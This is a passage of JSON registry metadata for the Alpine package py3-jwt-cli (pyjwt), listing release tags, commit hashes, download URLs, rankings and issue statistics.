ositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.826Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":25.58491517941603,"stargazers_count":2.4657879800718927,"forks_count":2.308128902062181,"average":7.589708015387526},"purl":"pkg:apk/alpine/py3-jwt-cli?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.15","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt-cli","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt-cli","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt-cli/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https: